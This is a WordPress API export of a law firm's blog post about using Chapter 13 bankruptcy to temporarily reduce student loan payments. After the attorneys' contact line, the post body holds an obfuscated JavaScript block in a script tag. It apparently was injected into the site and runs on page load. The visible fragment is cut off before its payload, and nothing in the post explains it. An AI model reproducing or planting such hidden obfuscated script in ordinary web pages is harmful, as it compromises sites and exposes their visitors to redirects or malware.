{"id":591,"date":"2013-05-27T14:51:12","date_gmt":"2013-05-27T14:51:12","guid":{"rendered":"http:\/\/www.newnanbankruptcy.com\/?p=591"},"modified":"2017-05-10T12:45:45","modified_gmt":"2017-05-10T12:45:45","slug":"reorganizing-student-loans","status":"publish","type":"post","link":"https:\/\/www.newnanbankruptcy.com\/reorganizing-student-loans\/","title":{"rendered":"Reorganizing Student Loans"},"content":{"rendered":"<p>There is more outstanding student loan debt in the United States today than there is credit card debt.\u00a0 The credit card debacle of five years ago is being replaced by a student loan debacle, and the situation is projected to continue.<\/p>\n<p>It is widely believed that you can\u2019t do anything about student loans in bankruptcy.\u00a0 However, the bankruptcy code does provide for \u201chardship discharge\u201d of student loans in Chapter 7 under extremely limited circumstances that requires expensive litigation.\u00a0 (Unless you are old and in terrible shape, you probably won\u2019t qualify.)<!--more--><\/p>\n<p>Even so, you may be able to substantially <em>reduce your student loan payments<\/em> temporarily during the five-year term of a Chapter 13.\u00a0 At the conclusion of the plan, your other debt will be wiped out, and you will be left owing the unpaid portion of the student loan.\u00a0 In this way, you can avoid an immediate disaster and give yourself several years to develop a long-term solution.<\/p>\n<p><em>Attorneys Brooks Cotten and Gina Karrh have over 30 years experience in helping people with their financial situations.\u00a0 Call us today at 770-683-3303.\u00a0<\/em><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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It is widely believed that you can\u2019t do anything about student loans in bankruptcy.\u00a0 &hellip;<\/p>\n","protected":false},"author":3,"featured_media":594,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[40],"tags":[],"acf":[],"_links":{"self":[{"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/posts\/591"}],"collection":[{"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/comments?post=591"}],"version-history":[{"count":0,"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/posts\/591\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/media\/594"}],"wp:attachment":[{"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/media?parent=591"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/categories?post=591"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newnanbankruptcy.com\/wp-json\/wp\/v2\/tags?post=591"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}